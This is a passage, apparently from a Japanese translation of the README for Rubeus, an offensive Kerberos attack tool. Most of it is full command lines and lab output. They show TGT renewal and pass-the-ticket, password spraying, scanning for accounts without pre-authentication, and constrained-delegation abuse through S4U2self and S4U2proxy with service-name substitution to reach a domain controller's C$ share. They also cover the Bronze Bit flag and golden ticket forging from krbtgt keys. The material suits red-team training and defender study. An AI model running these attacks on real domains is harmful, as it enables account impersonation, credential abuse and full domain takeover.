Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : Qm9zdwFIINSHAAmqaviuEw==
ASREP (key) : CC9D16AB01D1BD0EF9EBD53C8AD536D9
Decrypted PAC :
LogonInfo :
LogonTime : 19/07/2021 22:59:21
LogoffTime :
KickOffTime :
PasswordLastSet : 14/07/2021 02:07:12
PasswordCanChange : 15/07/2021 02:07:12
PasswordMustChange :
EffectiveName : harmj0y
FullName : Harm J0y
LogonScript :
ProfilePath :
HomeDirectory :
HomeDirectoryDrive :
LogonCount : 7
BadPasswordCount : 0
UserId : 1106
PrimaryGroupId : 513
GroupCount : 1
Groups : 513
UserFlags : (32) EXTRA_SIDS
UserSessionKey : 0000000000000000
LogonServer : PDC1
LogonDomainName : RUBEUS
LogonDomainId : S-1-5-21-3237111427-1607930709-3979055039
UserAccountControl : (528) NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
ExtraSIDCount : 1
ExtraSIDs : S-1-18-1
ResourceGroupCount : 0
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
NTLM : C69A7EA908898C23B72E65329AF7E3E8
ClientName :
Client Id : 19/07/2021 23:00:38
Client Name : harmj0y
UpnDns :
DNS Domain Name : RUBEUS.GHOSTPACK.LOCAL
UPN : [email protected]
Flags : 0
ServerChecksum :
Signature Type : KERB_CHECKSUM_HMAC_MD5
Signature : ADEC4A1A7DF70D0A61047E510E778454 (VALID)
KDCChecksum :
Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature : 6CF688E02147BEEC168E0125 (UNVALIDATED)
注: TGT 取得時の /asrepkey を渡して、NTLM ハッシュが保存されている CredentialData セクションを復号する必要があります。ただし、ユーザー間要求の場合は TGT のセッション キーが使用されるため、/servicekey 引数は不要です。
現在ログオンしているセッションを使用してサービス チケットを要求します:``` Rubeus.exe asktgs /service:LDAP/dc.ghostpack.local /nowrap
(_____ \ | | ) ) | | _____ _ _ ___ | __ /| | | | _ | ___ | | | |/) | | \ | || | |) ) | || | | || ||/|/|_____)__/(_/
v2.3.3
[*] Action: Ask TGS
[=] Requesting service ticket via LSA authentication package 2 using handle 0x9625072 [*] base64(ticket.kirbi):
doIGvDCCBrigAwIBBaEDAg(..snip..)
ServiceName : LDAP/dc.ghostpack.local ServiceRealm : GHOSTPACK.LOCAL UserName : CCob (NT_PRINCIPAL) UserRealm : GHOSTPACK.LOCAL StartTime : 25/02/2025 09:08:11 EndTime : 25/02/2025 18:48:39 RenewTill : 03/03/2025 12:47:40 Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable KeyType : aes256_cts_hmac_sha1 Base64(key) : k2xUOHFN1Xg(...snip...)
更新を介してローカルコンピュータアカウントのTGTを要求します。ローカル管理者アクセスが必要です。Credential Guardが存在する場合、ホストから離れてチケットを使用することはできません。```
Rubeus.exe asktgs /service:krbtgt/ghostpack.local /luid:0x3e7
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
[*] Action: Ask TGS
[=] Requesting service ticket via LSA authentication package 2 using handle 0x10441184
[*] base64(ticket.kirbi):
doIGuTCCBrWg(...snip...)IFhb3MuZGV2
ServiceName : krbtgt/ghostpack.local
ServiceRealm : GHOSTPACK.LOCAL
UserName : DC$ (NT_PRINCIPAL)
UserRealm : GHOSTPACK.LOCAL
StartTime : 25/02/2025 09:18:37
EndTime : 25/02/2025 11:35:10
RenewTill : 02/03/2025 10:35:06
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : k2xUOHFN1Xg(...snip...)
renewアクションは、指定された /ticket:X を使用して、生のTGS-REQ/TGS-REP TGT更新交換を構築/解析します。この値は、.kirbiファイルのbase64エンコード、またはディスク上の.kirbiファイルへのパスのいずれかです。/dcが指定されていない場合、コンピュータの現在のドメインコントローラが抽出され、更新トラフィックの宛先として使用されます。/pttフラグは「pass-the-ticket」を実行し、結果のKerberos資格情報を現在のログオンセッションに適用します。
TGTは、そのEndTimeより前、RenewTillウィンドウ内で更新する必要があることに注意してください。
C:\Rubeus>Rubeus.exe renew /ticket:ticket.kirbi /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Renew TGT
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 1506 bytes
[*] Received 1510 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
/autorenewフラグは、既存の /ticket:X .kirbiファイル/ブロブを取得し、endTime-30分までスリープし、チケットを自動更新して、更新されたチケットブロブを表示します。この更新プロセスは、許可されたrenew-till更新ウィンドウが経過するまで継続されます。
C:\Rubeus>Rubeus.exe renew /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... /autorenew
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Auto-Renew TGT
[*] User : [email protected]
[*] endtime : 2/10/2019 11:44:09 PM
[*] renew-till : 2/17/2019 6:44:09 PM
[*] Sleeping for 263 minutes (endTime-30) before the next renewal
[*] Renewing TGT for [email protected]
[*] Action: Renew TGT
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 1506 bytes
[*] Received 1510 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...
bruteアクションは、Kerberosベースのパスワードブルートフォースまたはパスワードスプレー攻撃を実行します。アクション名として spray を使用することもできます。
C:\Rubeus>Rubeus.exe brute /password:Password123!! /noticket
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[-] Blocked/Disabled user => Guest
[-] Blocked/Disabled user => DefaultAccount
[-] Blocked/Disabled user => krbtgt
[-] Blocked/Disabled user => disabled
[+] STUPENDOUS => newuser:Password123!!
[*] base64(newuser.kirbi):
doIFLDCCBSigAwIBBaEDAgEWooIELDCCBChhggQkMIIEIKADAgEFoRAbDlR...(snip)...
preauthscanアクションは、/users引数に渡されたすべてのユーザー名に対してAS-REQを送信し、Kerberos事前認証を必要としないアカウントを検出します。
C:\Rubeus>Rubeus.exe preauthscan /users:uns.txt /domain:semperis.lab /dc:192.168.71.220
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: Scan for accounts not requiring Kerberos Pre-Authentication
[*] cclark: Pre-Auth Required
[*] jjones: Pre-Auth Not Required
[*] rwilliams: Pre-Auth Required
[*] svc_sqlserver: Pre-Auth Required
[*] pgreen: Pre-Auth Required
[*] jsmith: Pre-Auth Required
[*] tnahum: Pre-Auth Required
[*] sfederovsky: Pre-Auth Required
制約付き委任コマンドの内訳:
| コマンド | 説明 |
|---|---|
| s4u | S4U2self および S4U2proxy アクションを実行する |
s4uアクションは、Kekeo の tgs::s4u 機能とほぼ同じです。ユーザー(またはコンピュータ)アカウントが制約付き委任用に構成されている場合(つまり、msds-allowedtodelegatetoフィールドにSPN値がある場合)、このアクションを使用してターゲットSPN/サーバーへのアクセスを悪用できます。制約付き委任は複雑です。詳細については、この投稿 またはElad Shamirの 「Wagging the Dog」 の投稿を参照してください。
TL;DRの説明は、制約付き委任が有効なアカウントは、S4U2selfとして知られるプロセスで、任意のユーザーとして自分自身へのチケットを要求できるということです。アカウントがこれを行うことを許可されるためには、useraccountcontrolプロパティで TrustedToAuthForDelegation が有効になっている必要があり、これはデフォルトでは昇格されたユーザーのみが変更できます。このチケットにはデフォルトで FORWARDABLE フラグが設定されています。その後、サービスはこの特別に要求されたチケットを使用して、アカウントの msds-allowedtodelegateto フィールドで指定された任意のサービスプリンシパル名(SPN)へのサービスチケットを要求できます。つまり、要約すると、TrustedToAuthForDelegation が設定され、msds-allowedtodelegateto に値があるアカウントを制御している場合、アカウントの msds-allowedtodelegateto フィールドに設定されたSPNに対して、ドメイン内の任意のユーザーになりすますことができます。
この「制御」は、アカウントのハッシュ(/rc4 または /aes256)、または msds-allowedtodelegateto 値が設定されたアカウントの既存のTGT(/ticket:X)です。/user とrc4/aes256ハッシュが指定された場合、s4uモジュールは最初に asktgt アクションを実行し、返されたチケットを後続の手順で使用します。TGT /ticket:X が指定された場合は、そのTGTが代わりに使用されます。
アカウントハッシュが指定された場合、/nopac スイッチを使用して、PACなしで初期TGTを要求できます。
KDCプロキシ(MS-KKDCP)を使用したリクエストは、/proxyurl:URL 引数を使用して可能です。KDCプロキシの完全なURLが必要です(例:https://kdcproxy.exmaple.com/kdcproxy)。`s4u` コマンドで使用すると、すべてのリクエストがプロキシ経由で送信されます。
/impersonateuser:X パラメータは s4u モジュールに必須です。他に何も指定されていない場合は、S4U2selfプロセスのみが実行され、転送可能なチケットが返されます:
C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIE+jCCBPagAwIBBaEDAgEWoo...(snip)...
[*] Action: S4U
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Got a TGS for '[email protected]' to 'TESTLAB.LOCAL\patsy'
[*] base64(ticket.kirbi):
doIF2jCCBdagAwIBBaEDAgEWoo...(snip)...
その転送可能なチケットは、/tgs:Y パラメータ(base64ブロブまたは.kirbiファイル)として使用して、S4U2proxyプロセスを実行できます。アカウントの有効な msds-allowedtodelegateto 値を指定する必要があります(/msdsspn:X)。たとえば、[email protected] アカウントが次のようになっているとします:
PS C:\> Get-DomainUser patsy -Properties samaccountname,msds-allowedtodelegateto | Select -Expand msds-allowedtodelegateto
ldap/PRIMARY.testlab.local/testlab.local
ldap/PRIMARY
ldap/PRIMARY.testlab.local/TESTLAB
ldap/PRIMARY/TESTLAB
ldap/PRIMARY.testlab.local/DomainDnsZones.testlab.local
ldap/PRIMARY.testlab.local/ForestDnsZones.testlab.local
ldap/PRIMARY.testlab.local
その場合、S4U2proxy悪用機能(前のS4U2selfプロセスからのチケットを使用)は次のようになります:
C:\Rubeus>Rubeus.exe s4u /ticket:doIE+jCCBPagAwIBBaEDAgEWoo..(snip).. /msdsspn:"ldap/PRIMARY.testlab.local" /tgs:doIF2jCCBdagAwIBBaEDAgEWoo..(snip)..
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: S4U
[*] Loaded a TGS for TESTLAB.LOCAL\[email protected]
[*] Impersonating user '[email protected]' to target SPN 'ldap/PRIMARY.testlab.local'
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2641 bytes
[*] Received 1829 bytes
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'ldap/PRIMARY.testlab.local':
doIGujCCBragAwIBBaEDAgEWoo..(snip)..
ここで、/ticket:X は最初の手順で返されたTGTであり、/tgs はS4U2selfチケットです。結果のチケットを(手動で Rubeus.exe ptt /ticket:X を使用するか、s4u コマンドに /ptt フラグを指定して)注入すると、primary.testlab.local の ldap サービスに あたかも自分がdfm.aであるかのように アクセスできるようになります。
/altservice パラメータは、Alberto Solino による、サービス名(sname)がKRB-CREDファイルで保護されておらず、サーバー名のみが保護されている という素晴らしい発見を利用しています。これにより、結果のKRB-CRED(.kirbi)ファイルに任意のサービス名を代入できます。1つ以上の代替サービス名をカンマ区切りで指定できます(/altservice:cifs,HOST,...)。
前の例を拡張して、primary.testlab.local のファイルシステムへのアクセスを、その制約付き委任設定と代替サービス代入を悪用して偽装してみましょう。また、すべてを1つの手順にまとめ、TGTリクエスト、S4U2selfプロセス、S4U2proxy実行、および最終チケットの注入を実行します:
C:\Rubeus>dir \\primary.testlab.local\C$
Access is denied.
C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a /msdsspn:"ldap/PRIMARY.testlab.local" /altservice:cifs /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIE+jCCBPagAwIBBaEDAgEWoo..(snip)..
[*] Action: S4U
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Got a TGS for '[email protected]' to 'TESTLAB.LOCAL\patsy'
[*] base64(ticket.kirbi):
doIF2jCCBdagAwIBBaEDAgEWoo..(snip)..
[*] Impersonating user 'dfm.a' to target SPN 'ldap/PRIMARY.testlab.local'
[*] Final ticket will be for the alternate service 'cifs'
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2641 bytes
[*] Received 1829 bytes
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi) for SPN 'cifs/PRIMARY.testlab.local':
doIGujCCBragAwIBBaEDAgEWoo..(snip)..
[*] Action: Import Ticket
[+] Ticket successfully imported!
C:\Rubeus>dir \\primary.testlab.local\C$
Volume in drive \\primary.testlab.local\C$ has no label.
Volume Serial Number is A48B-4D68
Directory of \\primary.testlab.local\C$
07/05/2018 12:57 PM <DIR> dumps
03/05/2017 04:36 PM <DIR> inetpub
08/22/2013 07:52 AM <DIR> PerfLogs
04/15/2017 05:25 PM <DIR> profiles
08/28/2018 11:51 AM <DIR> Program Files
08/28/2018 11:51 AM <DIR> Program Files (x86)
10/09/2018 12:04 PM <DIR> Temp
08/23/2018 03:52 PM <DIR> Users
10/25/2018 01:15 PM <DIR> Windows
1 File(s) 9 bytes
9 Dir(s) 40,511,676,416 bytes free
デフォルトでは、Rubeusが生成するS4U2SelfとS4U2ProxyのTGS-REQと本物のリクエストの間にはいくつかの違いがあります。TGS-REQをより本物のリクエストに沿ったものにするために、/opsec フラグを使用できます。このフラグはRubeusのトラフィックをよりステルスにすることを目的としているため、デフォルトでは aes256 以外の暗号化タイプでは使用できず、別の暗号化タイプが使用された場合は警告を表示して終了します。/opsec の変更とともに他の暗号化タイプを使用できるようにするには、/force フラグがあります。/opsec フラグは、クロスドメインS4Uではまだ実装されていません。
Bronze Bit 脆弱性(CVE-2020-17049)は、/bronzebit フラグを使用して実装されています。このフラグを追加すると、S4U2Selfチケットを取得するときに forwardable フラグが自動的に反転されます。このフラグを反転するには、サービスチケットを復号化して再暗号化する必要があるため、長期的な鍵(サービスアカウントのパスワードハッシュ)が必要です。このため、TGTが指定されている場合、この機能を動作させるためにサービスアカウントの資格情報も必要です。
特定の状況では、S4U2Selfチケットを使用して保護ユーザーを偽装し、要求元のシステムで権限を昇格させることが可能です。これについては こちら で説明されています。この目的のために、/self フラグと /altservice:X 引数を使用して、使用可能なサービスチケットを生成できます。
S4U2Self紹介(referral)を偽造するには、信頼鍵のみが必要です。/self フラグと /targetdomain:X 引数を、/targetdc 引数なしで使用すると、Rubeusは /ticket:X で指定されたチケットをS4U2Self紹介として扱い、最終的なS4U2Selfサービスチケットのみを要求します。/altservice:X を使用して、結果のチケットのsnameを書き換えることもできます:
C:\Rubeus>Rubeus.exe s4u /self /targetdomain:internal.zeroday.lab /dc:idc1.internal.zeroday.lab /impersonateuser:external.admin /domain:external.zeroday.lab /altservice:host/isql1.internal.zeroday.lab /nowrap /ticket:C:\temp\s4u2self-referral.kirbi
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Action: S4U
[*] Action: S4U
[*] Using domain controller: idc1.internal.zeroday.lab (192.168.71.20)
[*] Requesting the cross realm 'S4U2Self' for [email protected] from idc1.internal.zeroday.lab
[*] Sending cross realm S4U2Self request
[+] cross realm S4U2Self success!
[*] Substituting alternative service name 'host/isql1.internal.zeroday.lab'
[*] base64(ticket.kirbi):
doIFETCCBQ...RheS5sYWI=
チケット偽造コマンドの内訳:
golden コマンドと silver コマンドには多くの類似点がありますが、それらが別々である理由は golden コマンドを簡素化するためです。サービスチケットは、TGTよりも異なる鍵や追加セクションなどで非常に複雑になる可能性があります。silver コマンドでTGTを偽造することもできますが、golden はTGTに関連しない機能が存在しないため、潜在的な引数が少なくなっています。
これらの両方のコマンドのほとんどの引数は、PACフィールドを設定するためのものであり、おおむね自明です。それらは次のとおりです:| 引数 | 説明 |
|----------|-------------|
| /user | /ldap が渡された場合に詳細を照会するユーザーとして使用されます。また、PAC の EffectiveName フィールドと EncTicketPart の cname フィールドを設定するためにも使用されます |
| /dc | /ldap が渡された場合に LDAP クエリに使用されるドメインコントローラーを指定します。また、PAC の LogonServer フィールドを設定するためにも使用されます |
| /netbios | PAC の LogonDomainName フィールドを設定します |
| /sid | PAC の LogonDomainId フィールドを設定します |
| /id | PAC の UserId フィールドを設定します (デフォルト: 500) |
| /displayname | PAC の FullName フィールドを設定します |
| /logoncount | PAC の LogonCount フィールドを設定します (デフォルト: 0) |
| /badpwdcount | PAC の BadPasswordCount フィールドを設定します (デフォルト: 0) |
| /uac | PAC の UAC フィールドを設定します (デフォルト: NORMAL_ACCOUNT) |
| /pgid | PAC の PrimaryGroupId フィールドを設定し、/groups フィールドにも追加されます (デフォルト: 513) |
| /groups | カンマ区切り。PAC の Groups フィールドを設定し、/pgid も追加されます。その合計は GroupCount フィールドの計算にも使用されます (デフォルト: 520,512,513,519,518) |
| /homedir | PAC の HomeDirectory フィールドを設定します |
| /homedrive | PAC の HomeDirectoryDrive フィールドを設定します |
| /profilepath | PAC の ProfilePath フィールドを設定します |
| /scriptpath | PAC の LogonScript フィールドを設定します |
| /logofftime | PAC の LogoffTime フィールドを設定します。現地時間形式 - 自動的に UTC に変換されます |
| /lastlogon | PAC の LogonTime フィールドを設定します。現地時間形式 - 自動的に UTC に変換されます (デフォルト: starttime - 1 秒) |
| /passlastset | PAC の PasswordLastSet フィールドを設定します。現地時間形式 - 自動的に UTC に変換されます |
| /minpassage | PAC の PasswordCanChange フィールドを設定します。これは PasswordLastSet からの相対日数で、例えば '5' は 5 日です |
| /maxpassage | PAC の PasswordMustChange フィールドを設定します。これは PasswordLastSet からの相対日数で、例えば '5' は 5 日です |
| /sids | カンマ区切り。PAC の ExtraSIDs フィールドを設定します。ExtraSIDCount フィールドの計算にも使用されます |
| /resourcegroupsid | PAC の ResourceGroupSid フィールドを設定します。使用する場合、/resourcegroups も必要です |
| /resourcegroups | カンマ区切り。PAC の ResourceGroups フィールドを設定します。ResourceGroupCount フィールドの計算にも使用されます。使用する場合、/resourcegroupsid も必要です |
両方のコマンドに共通する、PAC 以外のフィールドを設定するためのその他の引数は次のとおりです:
上記の表で説明されている相対時間の形式は、乗数として使用する整数と、時間範囲として機能する単一の文字です。サポートされている各文字の意味は以下の表のとおりです (大文字と小文字は区別されます):
| 文字 | 説明 |
|---|---|
| m | 分 |
| h | 時間 |
| d | 日 |
| M | 月 |
| y | 年 |
両方のコマンドで使用されるもう 1 つの共通機能は、LDAP 情報の取得です。golden と silver の両方が、/ldap フラグを使用した LDAP 経由の情報取得をサポートしています。/ldap フラグは、/creduser および credpassword 引数と一緒に使用して、この情報を取得する際に別のユーザーとして認証することができます。情報は、他の情報が渡されない場合、3 つの LDAP クエリを送信し、ドメインコントローラーの SYSVOL 共有をマウントして (ドメインポリシーファイルを読み取るため) 取得されます。LDAP クエリは自動的に TLS 経由で送信され、失敗した場合はプレーンテキスト LDAP にフォールバックします。
最初の LDAP クエリは、ldap が渡された場合に常に送信され、/user で指定されたユーザーをクエリし、PAC に必要なユーザー情報のほとんどを取得します。
2 番目の LDAP クエリは、/groups、/pgid、/minpassage または /maxpassage がコマンドラインで指定されていない場合に送信され、これらの引数のいずれかがコマンドラインで指定されている場合は、その情報を LDAP に問い合わせることはありません。このクエリは、ユーザーがメンバーであるグループ (プライマリグループを含む) と、ドメインポリシーオブジェクト (ポリシーファイルへのパスを取得するために使用) を取得します。/minpassage または /maxpassage がコマンドラインで指定されておらず、ドメインポリシーオブジェクトが LDAP から取得された場合、DC の SYSVOL 共有がマウントされ、ポリシーファイルが解析されて MinimumPasswordAge (PAC の PasswordCanChange フィールドに適切な値を設定するため) と MaximumPasswordAge (PAC の PasswordMustChange フィールドに適切な値を設定するため) の値が取得されます。
最後に、/netbios 引数がコマンドラインで指定されていない場合、ドメインの適切な NetBIOS 名を取得するための LDAP クエリが Configuration コンテナから実行され、PAC の LogonDomainName フィールドを設定します。/ldap フラグがコマンドラインで指定されておらず、/netbios 引数も指定されていない場合、最初の要素 (最初のピリオド '.' の前) が大文字に変換されて代わりに使用されます。
/printcmd フラグを使用すると、現在のチケットの生成に使用されたのと同じ PAC 情報を含む別のチケットを生成するために必要な引数を出力できます。これは、将来偽造するチケットでおそらく異なる必要がある、チケットの有効期間に関する引数は出力しません。
golden アクションは、ユーザー /user:X の TGT を偽造し、/des:X、/rc4:X、/aes128:X または /aes256:X で渡されたハッシュでチケットを暗号化し、同じキーを使用して ServerChecksum と KDCChecksum を作成します。フィールドを手動で設定するためのさまざまな引数は上記で説明されています。または、/ldap フラグを使用してドメインコントローラーから自動的に情報を取得することもできます。
/oldpac スイッチを使用すると、CVE-2021-42287 への対応として追加された新しい Requestor および Attributes PAC_INFO_BUFFER を除外できます。
/extendedupndns スイッチは、新しい拡張 UpnDns 要素を含めます。これにより、Flags に 2 が追加され、samaccountname とアカウント SID が含まれます。
/rodcNumber:x パラメータは、Kerberos Key List Requests を実行するために追加されました。このパラメータの値は、読み取り専用ドメインコントローラーの msDS-KrbTgtLink 属性にある krbtgt_x の後の番号です。例: krbtgt_12345 の場合は 12345 です。このリクエストには特定のフラグが必要であり、/flags:forwardable,renewable,enc_pa_rep を使用して設定できます。暗号化に使用されるキー (/des:X、/rc4:X、/aes128:X または /aes256:X) は KRBTGT_x アカウントのキーです。詳細については、Elad Shamir のブログ記事 こちら を参照してください。
/ldap フラグを使用して情報を取得し、/printcmd フラグを使用して同じ PAC 情報を持つ別のチケットを偽造するコマンドを出力する場合の TGT の偽造:
C:\Rubeus>Rubeus.exe golden /aes256:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /ldap /user:harmj0y /printcmd
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Build TGT
[*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=harmj0y)'
[*] Retrieving domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Building PAC
[*] Domain : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId : 1106
[*] Groups : 513
[*] ServiceKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : krbtgt
[*] Target : rubeus.ghostpack.local
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 29/07/2021 00:12:40
[*] StartTime : 29/07/2021 00:12:40
[*] EndTime : 29/07/2021 10:12:40
[*] RenewTill : 05/08/2021 00:12:40
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
[*] Printing a command to recreate a ticket containing the information used within this ticket
C:\Rubeus\Rubeus.exe golden /aes256:6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 /user:harmj0y /id:1106 /pgid:513 /domain:rubeus.ghostpack.local /sid:S-1-5-21-3237111427-1607930709-3979055039 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1 /logoncount:16 /displayname:"Harm J0y" /netbios:RUBEUS /groups:513 /dc:PDC1.rubeus.ghostpack.local /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD,NOT_DELEGATED
すべてをコマンドラインで明示的に設定して TGT を偽造:
C:\Rubeus>Rubeus.exe golden /aes256:6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 /user:harmj0y /id:1106 /pgid:513 /domain:rubeus.ghostpack.local /sid:S-1-5-21-3237111427-1607930709-3979055039 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1 /logoncount:16 /displayname:"Harm J0y" /netbios:RUBEUS /groups:513 /dc:PDC1.rubeus.ghostpack.local /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD,NOT_DELEGATED
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Build TGT
[*] Building PAC
[*] Domain : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId : 1106
[*] Groups : 513
[*] ServiceKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : krbtgt
[*] Target : rubeus.ghostpack.local
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 29/07/2021 00:18:19
[*] StartTime : 29/07/2021 00:18:19
[*] EndTime : 29/07/2021 10:18:19
